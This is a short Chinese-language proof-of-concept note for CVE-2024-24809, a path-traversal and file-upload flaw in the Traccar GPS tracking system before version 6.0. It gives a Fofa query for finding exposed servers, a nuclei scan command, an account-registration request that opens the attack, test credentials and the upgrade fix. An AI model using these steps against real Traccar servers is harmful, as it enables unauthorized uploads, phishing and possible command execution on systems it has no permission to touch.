#描述
Traccar 是一个开源 GPS 跟踪系统。6.0 之前的版本存在路径遍历和危险类型文件无限制上传漏洞。由于系统默认允许注册，攻击者可以通过注册账户获取普通用户权限，并利用此漏洞在任意文件夹下上传以 device. 为前缀的文件。攻击者可利用此漏洞进行钓鱼、跨站脚本攻击，并可能在服务器上执行任意命令。版本 6.0 包含针对此问题的补丁。
#使用
Fofa 查询 : app="traccar"
nuclei --target {target.com} -t CVE-2024-24809.yaml
#概念验证（使用 burpsuite）
POST /api/users HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
{"name": "{{name}}", "email": "{{email}}", "password": "{{password}}", "totpKey": null}
#测试账户
name: "ghostsec"
password: "ghostsec"
email: "[email protected]"
将 org.traccar:traccar 升级到 6.0 或更高版本。